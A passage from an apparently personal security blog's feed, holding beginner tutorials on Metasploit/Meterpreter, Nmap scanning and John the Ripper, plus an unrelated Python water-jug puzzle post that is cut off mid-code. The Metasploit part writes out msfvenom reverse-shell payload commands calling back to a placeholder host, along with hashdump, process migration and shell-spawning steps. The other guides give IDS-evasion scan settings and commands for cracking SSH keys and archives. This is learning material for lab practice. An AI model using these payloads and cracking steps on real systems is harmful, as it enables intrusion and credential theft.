<span class="hljs-string">msf6</span> <span class="hljs-string">exploit(multi/handler)</span> <span class="hljs-string">&gt;</span> <span class="hljs-string">show</span> <span class="hljs-string">options</span>

<span class="hljs-string">Module</span> <span class="hljs-string">options</span> <span class="hljs-string">(exploit/multi/handler):</span>

   <span class="hljs-string">Name</span>  <span class="hljs-string">Current</span> <span class="hljs-string">Setting</span>  <span class="hljs-string">Required</span>  <span class="hljs-string">Description</span>
   <span class="hljs-string">----</span>  <span class="hljs-string">---------------</span>  <span class="hljs-string">--------</span>  <span class="hljs-string">-----------</span>


<span class="hljs-string">Payload</span> <span class="hljs-string">options</span> <span class="hljs-string">(php/reverse_php):</span>

   <span class="hljs-string">Name</span>   <span class="hljs-string">Current</span> <span class="hljs-string">Setting</span>  <span class="hljs-string">Required</span>  <span class="hljs-string">Description</span>
   <span class="hljs-string">----</span>   <span class="hljs-string">---------------</span>  <span class="hljs-string">--------</span>  <span class="hljs-string">-----------</span>
   <span class="hljs-string">LHOST</span>  <span class="hljs-number">127.0</span><span class="hljs-number">.0</span><span class="hljs-number">.1</span>        <span class="hljs-literal">yes</span>       <span class="hljs-string">The</span> <span class="hljs-string">listen</span> <span class="hljs-string">address</span> <span class="hljs-string">(an</span> <span class="hljs-string">interface</span> <span class="hljs-string">may</span> <span class="hljs-string">be</span> <span class="hljs-string">specified)</span>
   <span class="hljs-string">LPORT</span>  <span class="hljs-number">7777             </span><span class="hljs-literal">yes</span>       <span class="hljs-string">The</span> <span class="hljs-string">listen</span> <span class="hljs-string">port</span>


<span class="hljs-attr">Exploit target:</span>

   <span class="hljs-string">Id</span>  <span class="hljs-string">Name</span>
   <span class="hljs-string">--</span>  <span class="hljs-string">----</span>
   <span class="hljs-number">0</span>   <span class="hljs-string">Wildcard</span> <span class="hljs-string">Target</span>


<span class="hljs-string">msf6</span> <span class="hljs-string">exploit(multi/handler)</span> <span class="hljs-string">&gt;</span> <span class="hljs-string">run</span>
<span class="hljs-string">...</span>
</code></pre><h3 id="heading-examples-of-some-payloads">Examples of some payloads</h3>
<p>msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf &gt; rev_shell.elf
The .elf format is comparable to the .exe format in Windows. You will need to give it executive permissions. You will have to use the chmod +x shell.elf command to accord executable permissions. Once done, you can run this file by typing ./shell.elf on the target machine command line.</p>
<pre><code>Windows
msfvenom <span class="hljs-operator">-</span>p windows<span class="hljs-operator">/</span>meterpreter<span class="hljs-operator">/</span>reverse_tcp LHOST<span class="hljs-operator">=</span><span class="hljs-number">10.10</span>.X.X LPORT<span class="hljs-operator">=</span>XXXX <span class="hljs-operator">-</span>f exe <span class="hljs-operator">&gt;</span> rev_shell.exe

PHP
msfvenom <span class="hljs-operator">-</span>p php<span class="hljs-operator">/</span>meterpreter_reverse_tcp LHOST<span class="hljs-operator">=</span><span class="hljs-number">10.10</span>.X.X LPORT<span class="hljs-operator">=</span>XXXX <span class="hljs-operator">-</span>f raw <span class="hljs-operator">&gt;</span> rev_shell.php

Python
msfvenom <span class="hljs-operator">-</span>p cmd<span class="hljs-operator">/</span>unix<span class="hljs-operator">/</span>reverse_python LHOST<span class="hljs-operator">=</span><span class="hljs-number">10.10</span>.X.X LPORT<span class="hljs-operator">=</span>XXXX <span class="hljs-operator">-</span>f raw <span class="hljs-operator">&gt;</span> rev_shell.py
</code></pre><h2 id="heading-what-is-the-meterpreter">What is the Meterpreter?</h2>
<p>The meterpreter is essential to the command line of the post-payload phase of hacking. Meterpreter runs in the targets systems ram. In addition, it encrypts all traffic (e.g. HTTPS). The aim is to not get identified by anti-virus, PIS and IDS.</p>
<h3 id="heading-commands">Commands</h3>
<p>Every meterpreter terminal can be a bit different. This is why you should always use the help command. It is important to know that meterpreter has the most generic commands built-in. Some useful commands are:</p>
<pre><code><span class="hljs-built_in">help</span>

getpid

ps
</code></pre><h3 id="heading-payloads">Payloads</h3>
<p>use the below command</p>
<pre><code>msfvenom <span class="hljs-operator">-</span><span class="hljs-operator">-</span>list payloads <span class="hljs-operator">|</span> grep meterpreter
</code></pre><p>or when in the msfconsole use</p>
<pre><code>
<span class="hljs-keyword">show</span> payloads
</code></pre><h3 id="heading-post-exploitation">Post-Exploitation</h3>
<h4 id="heading-migrate">migrate</h4>
<p>You can use ps to find another processor.  You can then migrate to a different process with its PID. This is to privilege escalate.</p>
<pre><code>meterpreter <span class="hljs-operator">&gt;</span> migrate <span class="hljs-number">716</span>
[<span class="hljs-operator">*</span>] Migrating <span class="hljs-keyword">from</span> <span class="hljs-number">1304</span> to <span class="hljs-number">716.</span>..
[<span class="hljs-operator">*</span>] Migration completed successfully.
meterpreter <span class="hljs-operator">&gt;</span>
</code></pre><h3 id="heading-other-commands">Other commands:</h3>
<h4 id="heading-hash-dump">hash dump</h4>
<p>Lists all the content in the SAM database.</p>
<pre><code><span class="hljs-attribute">meterpreter</span> &gt; hash dump
<span class="hljs-attribute">Administrator</span>:<span class="hljs-number">500</span>:aad<span class="hljs-number">3</span>b<span class="hljs-number">435</span>b<span class="hljs-number">51404</span>eeaad<span class="hljs-number">3</span>b<span class="hljs-number">435</span>b<span class="hljs-number">51404</span>ee:<span class="hljs-number">31</span>d<span class="hljs-number">6</span>cfe<span class="hljs-number">0</span>d<span class="hljs-number">16</span>ae<span class="hljs-number">931</span>b<span class="hljs-number">73</span>c<span class="hljs-number">59</span>d<span class="hljs-number">7</span>e<span class="hljs-number">0</span>c<span class="hljs-number">089</span>c<span class="hljs-number">0</span>:::
<span class="hljs-attribute">Guest</span>:<span class="hljs-number">501</span>:aad<span class="hljs-number">3</span>b<span class="hljs-number">435</span>b<span class="hljs-number">51404</span>eeaad<span class="hljs-number">3</span>b<span class="hljs-number">435</span>b<span class="hljs-number">51404</span>ee:<span class="hljs-number">31</span>d<span class="hljs-number">6</span>cfe<span class="hljs-number">0</span>d<span class="hljs-number">16</span>ae<span class="hljs-number">931</span>b<span class="hljs-number">73</span>c<span class="hljs-number">59</span>d<span class="hljs-number">7</span>e<span class="hljs-number">0</span>c<span class="hljs-number">089</span>c<span class="hljs-number">0</span>:::
<span class="hljs-attribute">Jon</span>:<span class="hljs-number">1000</span>:aad<span class="hljs-number">3</span>b<span class="hljs-number">435</span>b<span class="hljs-number">51404</span>eeaad<span class="hljs-number">3</span>b<span class="hljs-number">435</span>b<span class="hljs-number">51404</span>ee:ffb<span class="hljs-number">43</span>f<span class="hljs-number">0</span>de<span class="hljs-number">35</span>be<span class="hljs-number">4</span>d<span class="hljs-number">9917</span>ac<span class="hljs-number">0</span>cc<span class="hljs-number">8</span>ad<span class="hljs-number">57</span>f<span class="hljs-number">8</span>d:::
<span class="hljs-attribute">meterpreter</span> &gt;
</code></pre><h4 id="heading-search">Search</h4>
<p>locates files</p>
<pre><code>meterpreter <span class="hljs-operator">&gt;</span> search <span class="hljs-operator">-</span>f flag2.txt
Found <span class="hljs-number">1</span> result...
    c:\File\Location\flag2.txt (<span class="hljs-number">34</span> <span class="hljs-keyword">bytes</span>)
meterpreter <span class="hljs-operator">&gt;</span>
</code></pre><h4 id="heading-shell">Shell</h4>
<p>Produces a shell. use ctrl+z to escape</p>
<pre><code>meterpreter <span class="hljs-operator">&gt;</span> shell
Process <span class="hljs-number">2124</span> was created.
Channel <span class="hljs-number">1</span> was created.
Microsoft Windows [Version <span class="hljs-number">6.1</span><span class="hljs-number">.7601</span>]
Copyright (c) <span class="hljs-number">2009</span> Microsoft Corporation.  All rights reserved.

C:\Windows\system32<span class="hljs-operator">&gt;</span>
</code></pre><h2 id="heading-sources">Sources</h2>
<p>https://tryhackme.com/jr/metasploitintro</p>
<p>https://tryhackme.com/room/metasploitexploitation</p>
<p>https://tryhackme.com/room/meterpreter</p>
<p>https://www.metasploit.com/</p>
<p>https://www.varonis.com/blog/what-is-metasploit       </p>
]]></content:encoded></item><item><title><![CDATA[How to scan networks with NMAP]]></title><description><![CDATA[What is Nmap?
Nmap, short for Network Mapper, is one of the most commonly used ethical hacking tools used to scan for any information about networks; like open ports, open services and basic vulnerability searching. When it comes to hacking into netw...]]></description><link>https://colej.net/how-to-scan-networks-with-nmap</link><guid isPermaLink="true">https://colej.net/how-to-scan-networks-with-nmap</guid><category><![CDATA[networking]]></category><category><![CDATA[network]]></category><category><![CDATA[hacking]]></category><dc:creator><![CDATA[Joshua Cole]]></dc:creator><pubDate>Sun, 12 Jun 2022 14:12:48 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1655042358229/DtAcQmMW3.jpg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-what-is-nmap">What is Nmap?</h3>
<p>Nmap, short for Network Mapper, is one of the most commonly used ethical hacking tools used to scan for any information about networks; like open ports, open services and basic vulnerability searching. When it comes to hacking into networks, knowledge is power. Nmap gives you a lot of it. It is also a very popular program due to its ease of use and clean installation along with its standalone scripts. </p>
<p>When you have been given an IP of a network you need to know what services are running on the machine. You thus, need to know which ports are open to connect to that service. Ports are necessary for making multiple network requests or having multiple services available. But there are 65,535 ports on any given machine. This is when Nmap comes in. The main uses of Nmap according to their official page is:</p>
<ul>
<li>Open ports and services</li>
<li>Discover services along with their versions</li>
<li>Guess the operating system running on a target machine</li>
<li>Get accurate packet routes till the target machine</li>
<li>Monitoring hosts</li>
</ul>
<h3 id="heading-scan-types">Scan types</h3>
<h4 id="heading-tcp-connect-scans-st">TCP Connect Scans (<code>-sT</code>)</h4>
<p>For anyone that doesn't know what the TCP protocol is, it is a connection-based protocol. In basic terms, before you send any data between two devices you first must make a stable connection. To form this connection, you must do something called a "three-way handshake".</p>
<p>When you first make a connection to a server, you must first send an SYN flag. The server will then acknowledge this packet and respond with an SYN/ACK flag. Finally, our computer will reply with an ACK flag. Now you communicate whatever you want to. In plain English, it sounds like this.</p>
<ol>
<li>BROWSER: "Hey server let's talk about something". </li>
<li>SERVER: "Hey browser, I'm listening to you? What do you want".</li>
<li>BROWSER: "Okay! I'll tell you now".</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1653629596212/wmgGF6fqs.png" alt="image.png" /></p>
<p>This type of scan is slower and is generally easier to be detected by intrusion detection systems. This scan is the default <em>without root access</em> scan type.</p>
<h4 id="heading-syn-scans-ss">SYN Scans (<code>-sS</code>)</h4>
<p>The SYN scan commonly referred to as "Half-open" scans, or "Stealth" scans, is similar to the TCP but it does not complete the full "three-way handshake". </p>
<p>The first two parts of the TCP and SYN scan are the exact same. You first send a SYN flag. The server will then acknowledge this connection and send back an SYN/ACK flag. This is when it differs. Now you send an RST back. An RST flag means this connection should be immediately terminated. </p>
<ol>
<li>BROWSER: "Hey server let's talk about something". </li>
<li>SERVER: "Hey browser, I'm listening to you? What do you want".</li>
<li>BROWSER: "You should terminate this conversation".</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1655039512305/yd-Wv3u-W.png" alt="cPzF0kU.png" /></p>
<p>This is more of a "stealthy" scan than the TCP scan and will fool old intrusion detection systems. This scan requires <em>root permission</em> as it needs to be able to create raw packets, this is reserved for root users.</p>
<h4 id="heading-udp-scans-su">UDP Scans (<code>-sU</code>)</h4>
<p>UDP is a stateless protocol. What this means is, that it doesn't do a back-and-forth handshake like TCP. UDP connections rely on sending packets to a target port and hoping that they make it and none of them goes missing. While this is helpful for connections that aim for speed over quality it is not the best for scanning ports due to the lack of acknowledgment. This makes UDP harder and much slower to scan. </p>
<h3 id="heading-useful-switches">Useful switches</h3>
<h4 id="heading-os-scanning-o">OS Scanning (<code>-O</code>)</h4>
<p>Nmap can also provide information about the operating system using TCP/IP fingerprinting.  This is also enabled by default with the aggressive switch (<code>-A</code>).</p>
<h4 id="heading-service-and-version-detection-sv">Service and Version Detection (<code>-sV</code>)</h4>
<p>Enables version detection.</p>
<h4 id="heading-aggressive-scanning-a">Aggressive scanning (<code>-A</code>)</h4>
<p>Aggressive scanning enables Os detection, version detection, script scanning, and traceroute.</p>
<h4 id="heading-timing-t">Timing (<code>-T&lt;0-5&gt;</code>)</h4>
<p>The switch <code>-T</code> sets timing and aggressiveness (higher is faster).  <code>-T5</code> would be an incredibly fast scan that assumes you are on an extremely fast and reliable network. <code>-T0</code> would be for evading intrusion detection system. This scan would be an incredibly long time and would not give too much information.</p>
<h4 id="heading-port-scanning-p">Port Scanning (<code>-p</code>)</h4>
<p>By default, if you don't have this flag you will scan the top 1000 common ports.</p>
<ul>
<li>To specify a port just add it in after with ```-p````.</li>
</ul>
<pre><code><span class="hljs-operator">&gt;</span> nmap <span class="hljs-operator">-</span>p <span class="hljs-number">973</span> [MACHINE IP]
</code></pre><ul>
<li>To specify multiple ports add a comma.</li>
</ul>
<pre><code><span class="hljs-attribute">nmap</span> -sV -p <span class="hljs-number">22</span>,<span class="hljs-number">53</span>,<span class="hljs-number">110</span>,<span class="hljs-number">143</span>,<span class="hljs-number">4564</span> <span class="hljs-number">198</span>.<span class="hljs-number">116</span>.<span class="hljs-number">0</span>-<span class="hljs-number">255</span>.<span class="hljs-number">1</span>-<span class="hljs-number">12</span><span class="hljs-meta"> [MACHINE IP]</span>
</code></pre><ul>
<li>To scan between a range add a hyphen between two numbers.</li>
</ul>
<pre><code><span class="hljs-attribute">nmap</span> -p <span class="hljs-number">76</span>–<span class="hljs-number">973</span><span class="hljs-meta"> [MACHINE IP]</span>
</code></pre><ul>
<li>This will scan all 65,535 ports.</li>
</ul>
<pre><code><span class="hljs-operator">&gt;</span> nmap <span class="hljs-operator">-</span>p<span class="hljs-operator">-</span> [MACHINE IP]
</code></pre><ul>
<li>Use the <code>--top-ports</code> flag to specify the top n ports.</li>
</ul>
<pre><code><span class="hljs-operator">&gt;</span> nmap <span class="hljs-operator">-</span><span class="hljs-operator">-</span>top<span class="hljs-operator">-</span>ports <span class="hljs-number">10</span> scanme.nmap.org
</code></pre><h4 id="heading-nse-scripts-sc">NSE Scripts (<code>-sC</code>)</h4>
<p>I will not get too much into this but if you use <code>-sC</code> to scan ports, then it will scan with default NSE scripts that are considered useful for discovery.</p>
<h2 id="heading-examples-of-nmap-scans">Examples of Nmap scans</h2>
<p>If I want a quick and dirty scan on a network to find the service, Os and basic open ports.</p>
<pre><code>nmap <span class="hljs-operator">-</span>sC <span class="hljs-operator">-</span>sV <span class="hljs-operator">-</span>T4 [MACHINE IP]
</code></pre><p>If you want to launch a stealth scan on a network and try to determine the Operating System and services. </p>
<pre><code><span class="hljs-attribute">nmap</span> -sV -p <span class="hljs-number">22</span>,<span class="hljs-number">53</span>,<span class="hljs-number">110</span>,<span class="hljs-number">143</span>,<span class="hljs-number">4564</span> <span class="hljs-number">198</span>.<span class="hljs-number">116</span>.<span class="hljs-number">0</span>-<span class="hljs-number">255</span>.<span class="hljs-number">1</span>-<span class="hljs-number">127</span>
</code></pre><p>If you want to launch a TCP scan on a machine.</p>
<pre><code><span class="hljs-attribute">nmap</span> -sT -p <span class="hljs-number">22</span>,<span class="hljs-number">53</span>,<span class="hljs-number">110</span>,<span class="hljs-number">143</span>,<span class="hljs-number">4564</span> <span class="hljs-number">198.116.231.43</span>
</code></pre><h2 id="heading-closing-notes">Closing notes</h2>
<p>Nmap is an incredibly useful program for anyone who deals with networks daily. I am barely showing you the top of the iceberg. There is a full <a target="_blank" href="https://nmap.org/book/nse.html">dedicated scripting engine</a>, quite a few more types of scans and hundreds of other options. I highly recommend NMAP</p>
<p>I recommend you check out the documentation of Nmap <a target="_blank" href="https://nmap.org/book/man.html">here</a>.</p>
<h3 id="heading-sources">Sources</h3>
<p>https://www.networkworld.com/article/3296740/what-is-nmap-why-you-need-this-network-mapper.html</p>
<p>https://www.linuxadictos.com/en/Nmap.html</p>
<p>https://linux.die.net/man/1/nmap</p>
<p>https://tryhackme.com/room/furthernmap</p>
]]></content:encoded></item><item><title><![CDATA[How to crack hashes with John the Ripper]]></title><description><![CDATA[John the Ripper is one of the most loved and versatile hash password-cracking tools out their. It combines speed, ease of use and reliability. But first of what is a hash?
What is a hash?
Hashing is taking a data of any length and turning it into a f...]]></description><link>https://colej.net/how-to-crack-hashes-with-john-the-ripper</link><guid isPermaLink="true">https://colej.net/how-to-crack-hashes-with-john-the-ripper</guid><category><![CDATA[#cybersecurity]]></category><category><![CDATA[Open Source]]></category><category><![CDATA[john]]></category><category><![CDATA[Hash]]></category><dc:creator><![CDATA[Joshua Cole]]></dc:creator><pubDate>Sat, 11 Jun 2022 13:21:43 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1655158146501/pX-rmxfmU.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>John the Ripper is one of the most loved and versatile hash password-cracking tools out their. It combines speed, ease of use and reliability. But first of what is a hash?</p>
<h2 id="heading-what-is-a-hash">What is a hash?</h2>
<p>Hashing is taking a data of any length and turning it into a fixed length string that masks it's original value of the data. Their are hundreds of different hashing algorithms and some of the more common ones are MD5, SHA1, SHA3-512, NTLM, CRC32, etc. </p>
<h2 id="heading-how-do-you-attack-hashes">How do you attack hashes?</h2>
<p>Their are two over-arching ways of cracking hashes. One of the methods is a rainbow table. Essentially, you have a precomputed table full of hashes that point to the password. This is what most websites like <a target="_blank" href="hashes.com">hashes.com</a> use to crack your has. Although it is incredibly fast, it can take a large amount of storage space and can only use "precomputed" hashes. In addition, developers of hashing algorithms have added something called "salt" that changes the hash output. I will not be covering rainbow tables on this blog post.</p>
<p>Then their is the other way. Hashes are designed in a way to make cracking them near impossible. But it is possible to hash a word and see if it matches. This is the method I am going to be using. Although it is not as quick as a rainbow table, it is funner and will be able to crack nearly all hashes.</p>
<h1 id="heading-john-the-ripper">John the Ripper</h1>
<h2 id="heading-installation-of-john-the-ripper">Installation of John the Ripper</h2>
<p>You can install John the ripper on your respective systems by using this <a target="_blank" href="https://www.openwall.com/john/">link</a>. 
To use john use the syntax bellow:</p>
<pre><code><span class="hljs-comment"># Linux</span>
<span class="hljs-attribute">john</span> hash.txt

<span class="hljs-comment">#Windows</span>
./john.exe hash.txt
</code></pre><h2 id="heading-the-modes-of-john-the-ripper">The Modes of John the Ripper</h2>
<h3 id="heading-single-crack-mode">Single Crack Mode</h3>
<p>This mode makes use of the information already available inside the username. The format for text file is:</p>
<pre><code><span class="hljs-attribute">username</span>:hash
</code></pre><p>Some examples of how this would work would be with the word Anonymous:</p>
<pre><code><span class="hljs-attribute">Anonymous</span>
an0nym0us
AnOnYmOuS
Anonymous1
</code></pre><p><strong>Syntax</strong>: This mode is the default mode the JtR starts with but you can specify it with:</p>
<pre><code>john <span class="hljs-operator">-</span><span class="hljs-operator">-</span>single hash.txt
</code></pre><h3 id="heading-wordlist-crack-mode">Wordlist Crack Mode</h3>
<p>In this mode it computes the hashes of a word list and then compares it to the one given. In JtR you can use any specified word list but it does choose a default one if none is specified. For this post i am going to be using the infamous <a target="_blank" href="https://github.com/danielmiessler/SecLists/blob/master/Passwords/Leaked-Databases/rockyou-75.txt">rockyou</a> wordlist. 
Example Usage:</p>
<pre><code>john <span class="hljs-operator">-</span><span class="hljs-operator">-</span>wordlist<span class="hljs-operator">=</span><span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>share<span class="hljs-operator">/</span>wordlists<span class="hljs-operator">/</span>rockyou.txt <span class="hljs-operator">-</span><span class="hljs-operator">-</span>format<span class="hljs-operator">=</span>raw<span class="hljs-operator">-</span>md5 crack.txt
</code></pre><h3 id="heading-incremental-crack-mode">Incremental Crack Mode</h3>
<p>Incremental mode is the most powerful cracking mode. It tries every single possible combination of characters until it completes. This means it will not stop. 
Example usage:</p>
<pre><code>john <span class="hljs-operator">-</span><span class="hljs-operator">-</span>incremental hash.txt
</code></pre><p>You can specify the option for the incremental mode by:</p>
<pre><code>john <span class="hljs-operator">-</span><span class="hljs-operator">-</span>incremental<span class="hljs-operator">=</span>digits incremental.txt
john <span class="hljs-operator">-</span><span class="hljs-operator">-</span>incremental<span class="hljs-operator">=</span>Alpha incremental.txt
</code></pre><p>You can see all the options in the <code>john.conf</code> in  <code>/etc/john/john.conf</code>
.</p>
<h2 id="heading-identifying-hashes">Identifying hashes</h2>
<p>John's auto hash detection can be a bit unreliable. <a target="_blank" href="https://gitlab.com/kalilinux/packages/hash-identifier/-/raw/kali/master/hash-id.py">Here</a>, is a good script for identifying hashes in python. </p>
<h2 id="heading-format-specific-cracking">Format-specific Cracking</h2>
<pre><code>john <span class="hljs-operator">-</span><span class="hljs-operator">-</span>format<span class="hljs-operator">=</span>[format] [path to file]

<span class="hljs-operator">-</span><span class="hljs-operator">-</span>format<span class="hljs-operator">=</span> <span class="hljs-operator">-</span> Input the format of the hash
</code></pre><p>Example Usage:</p>
<pre><code>john <span class="hljs-operator">-</span><span class="hljs-operator">-</span>format<span class="hljs-operator">=</span>raw<span class="hljs-operator">-</span>md5 <span class="hljs-operator">-</span><span class="hljs-operator">-</span>wordlist<span class="hljs-operator">=</span><span class="hljs-operator">/</span>usr<span class="hljs-operator">/</span>share<span class="hljs-operator">/</span>wordlists<span class="hljs-operator">/</span>rockyou.txt hash_to_crack.txt
</code></pre><h3 id="heading-notes">Notes:</h3>
<p>If you are unsure about telling John which hash type to crack, use <code>john --list=formats</code>. If you are search for a specific type of hash use <code>john --list=formats | grep -iF "md5"</code>, if you are on Linux.</p>
<h3 id="heading-cracking-multiple-files">Cracking Multiple files</h3>
<p>To crack multiple files that have the same encryption just add them both to the end. The syntax for multiple md5 hashes is as so: john [file 1][file 2]</p>
<pre><code>john <span class="hljs-operator">-</span>form<span class="hljs-operator">=</span>raw<span class="hljs-operator">-</span>md5 crack.txt md5.txt
</code></pre><h2 id="heading-cracking-other-files">Cracking other files</h2>
<p>Sometimes the hash is not easy to extract from a file. That is when Jumbo John comes in handy. It has a bunch of different tools for extracting hashes out of other formats. I will cover a few here.</p>
<h3 id="heading-zip2john">Zip2John</h3>
<p>We are going to use zip2john to output a hash in a text file. This can then be attacked like a normal hash.</p>
<pre><code><span class="hljs-selector-tag">zip2john</span> <span class="hljs-selector-attr">[options]</span> <span class="hljs-selector-attr">[zip file]</span> &gt; <span class="hljs-selector-attr">[output file]</span>
</code></pre><p>Example Usage:</p>
<pre><code>zip2john zipfile.zip <span class="hljs-operator">&gt;</span> zip_hash.txt
</code></pre><h3 id="heading-rar2john">Rar2John</h3>
<p>Almost identical to the zip2john tool, we can output a RAR file to a hash text file. John will be able to understand this.</p>
<pre><code><span class="hljs-selector-tag">rar2john</span> <span class="hljs-selector-attr">[rar file]</span> &gt; <span class="hljs-selector-attr">[output file]</span>
</code></pre><p>Example Usage:</p>
<pre><code>rar2john rarfile.rar <span class="hljs-operator">&gt;</span> rar_hash.txt
</code></pre><h3 id="heading-ssh2john">SSH2John</h3>
<p>You know, I wonder if their is a pattern to this? You can find your pub id_rsa private key in linux at <code>~/. ssh/id_rsa</code></p>
<pre><code><span class="hljs-selector-tag">ssh2john</span> <span class="hljs-selector-attr">[id_rsa private key file]</span> &gt; <span class="hljs-selector-attr">[output file]</span>
</code></pre><p>Example Usage:</p>
<pre><code><span class="hljs-selector-tag">ssh2john</span> <span class="hljs-selector-tag">id_rsa</span> &gt; <span class="hljs-selector-tag">id_rsa_hash</span><span class="hljs-selector-class">.txt</span>
</code></pre><h2 id="heading-practise">Practise</h2>
<p>If you want to practice some hash cracking, here are some <a target="_blank" href="https://gist.github.com/Dingo418/05ea49c353dc1042d045e46ecf211769">hashes</a>.</p>
<h2 id="heading-sources">Sources</h2>
<p>https://tryhackme.com/room/johntheripper0</p>
<p>https://www.hackingarticles.in/beginner-guide-john-the-ripper-part-1/</p>
<p>https://www.varonis.com/blog/john-the-ripper</p>
<h2 id="heading-documentation">Documentation</h2>
<p>https://www.openwall.com/john/doc/</p>
<p>https://github.com/openwall/john</p>
]]></content:encoded></item><item><title><![CDATA[Working out the jug problem in python]]></title><description><![CDATA[Everyone knows the classic water jug problem. You are by a stream with a 5-Litre and a 7-Litre bucket. How do you measure out 6-Litres in the fewest possible pourings? You first fill up the 7 and so on.

You might not have seen this particular proble...]]></description><link>https://colej.net/working-out-the-jug-problem-in-python</link><guid isPermaLink="true">https://colej.net/working-out-the-jug-problem-in-python</guid><category><![CDATA[Python]]></category><category><![CDATA[challenge]]></category><category><![CDATA[fun]]></category><category><![CDATA[python beginner]]></category><dc:creator><![CDATA[Joshua Cole]]></dc:creator><pubDate>Mon, 16 May 2022 11:09:11 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/unsplash/m0OldyzGsYM/upload/v1652670244329/PLW0u9tXw.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Everyone knows the classic water jug problem. You are by a stream with a 5-Litre and a 7-Litre bucket. How do you measure out 6-Litres in the fewest possible pourings? You first fill up the 7 and so on.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652416377767/9n608jHlA.png" alt="image.png" /></p>
<p>You might not have seen this particular problem but you have definitely heard of a problem like this. But what many people do not know about this problem is you can actually solve it using the points of a Parallelogram or what some people call a pool table. If you translate your starting amount of water as 5 litres in the 5-litre jug, then you can translate it to (0,5). You can keep it bouncing off the points until you desired amount in the x or y. The parallelogram does the exact same thing as what we just did in the table above.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652660739006/UtovqNSvf.png" alt="image.png" /></p>
<p>I found that it was easier to find the patterns if I made the parallelogram a rectangle. There are 4 different variables you need to use this. The current x and y, the method you are using and the side &amp; top length.  Once you have those 4 variables you can make any table. I strongly recommend following each line with your finger as I tell you the rules:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1652660332517/5UsjUKUWH.png" alt="image.png" /></p>
<h3 id="heading-phesudocode">Phesudocode</h3>
<h4 id="heading-the-total-method">The Total Method:</h4>
<p>The Total Method is when you add up the x and y and then flip it to the other side of the rectangle. If you look at the start point of the line and the endpoint of the line then the x+y will equal the same. There are 2 rules in the total method</p>
<ol>
<li>if the red line is going horizontally down, then return the number that is minimum of (top length or x+y) and they as the maximum number that is either ((x+y- top length) or 0).<h5 id="heading-how-does-rule-1-work"><strong>How does rule 1 work?</strong></h5>
Count until you reach x+y from the bottom left to the bottom right and go up the right line if you reach it.</li>
<li>If the red line is going horizontally up then return x as the maximum of either ((x+y)- side length or 0) and the y as the minimum of either (side length or (x+y).<h5 id="heading-how-does-rule-2-work"><strong>How does rule 2 work?</strong></h5>
Count until you reach x+y from the bottom left to the top of the left line and go up the right line until you reach it.</li>
</ol>
<h4 id="heading-the-swap-method">The Swap Method:</h4>
<p>The swap method swaps the x or y depending on which line it is on. The swap method is made up of 4 smaller rules that each change specific variables in the coordinates depending on which side of the rectangle you are using the swap method on.</p>
<ol>
<li>if x = 0 then return the top length and y
This is done as we need to flip 0,2 to</li>
<li>if y = 0 then return x with side length</li>
<li>if y = the side length then return x and 0</li>
<li>if x = the top length then return 0 and y</li>
</ol>
<h4 id="heading-extra-rules">Extra rules:</h4>
<p>We can also find out that to start the bouncing of the parallelogram, it will always start with the total method and then switch to the swap method and then back to the total method and so on.</p>
<h3 id="heading-python-code">Python code</h3>
<p>The Swap Method</p>
<pre><code>jugs = []
numberOfJugs = <span class="hljs-number">2</span>


<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">swapMethod</span>(<span class="hljs-params">x,y, tLength, sLength</span>):</span>   
    <span class="hljs-comment">#input:(0, y) output: (tLength, y)</span>
    <span class="hljs-keyword">if</span> x == <span class="hljs-number">0</span>:
        print(<span class="hljs-string">"added"</span>)
        <span class="hljs-keyword">return</span> tLength, y

    <span class="hljs-comment">#input: (x, 0) output: (x, min)</span>
    <span class="hljs-keyword">elif</span> y == <span class="hljs-number">0</span>:
        print(<span class="hljs-string">"else "</span>, x, sLength)
        <span class="hljs-keyword">return</span> x,sLength

    <span class="hljs-comment">#input: (x, sLength) output: (x, 0)    </span>
    <span class="hljs-keyword">elif</span> y == sLength:
        print(<span class="hljs-string">"x: "</span>,x, <span class="hljs-string">"y: "</span>, y,)
        <span class="hljs-keyword">return</span> x,<span class="hljs-number">0</span>    

    <span class="hljs-comment">#Input:(tLength, y) output:(0, y)</span>
    <span class="hljs-keyword">elif</span> x == tLength:
        print(<span class="hljs-number">0</span>,y)
        <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>,y
...
</code></pre><p>The Total Method </p>
<pre><code><span class="hljs-string">...</span>
<span class="hljs-string">def</span> <span class="hljs-string">totalMethod(x,y,</span> <span class="hljs-string">maxi,</span> <span class="hljs-string">minu):</span>  
    <span class="hljs-comment">#Going horizontally down</span>
    <span class="hljs-string">if</span> <span class="hljs-string">x</span> <span class="hljs-string">==</span> <span class="hljs-number">0</span> <span class="hljs-string">or</span> <span class="hljs-string">y</span> <span class="hljs-string">==</span> <span class="hljs-attr">minu:</span>
        <span class="hljs-string">return</span> <span class="hljs-string">min(maxi,</span> <span class="hljs-string">(x+y)),</span> <span class="hljs-string">max((x+y-maxi),</span> <span class="hljs-number">0</span><span class="hljs-string">)</span>
    <span class="hljs-comment">#Going horizontally up</span>
    <span class="hljs-attr">else:</span>
        <span class="hljs-string">return</span> <span class="hljs-string">max((x+y-minu),</span> <span class="hljs-number">0</span><span class="hljs-string">),</span> <span class="hljs-string">min(minu,</span> <span class="hljs-string">(x+y))</span>   

<span class="hljs-string">...</span>
</code></pre><p>The calling</p>
<pre><code>...
targetCapacity = <span class="hljs-number">6</span> <span class="hljs-comment"># Change this</span>
tLength, sLength = <span class="hljs-number">7</span>,<span class="hljs-number">5</span> <span class="hljs-comment">#Change this</span>
x,y = <span class="hljs-number">0</span>,<span class="hljs-number">5</span> <span class="hljs-comment"># Change this</span>
history = <span class="hljs-string">f'''
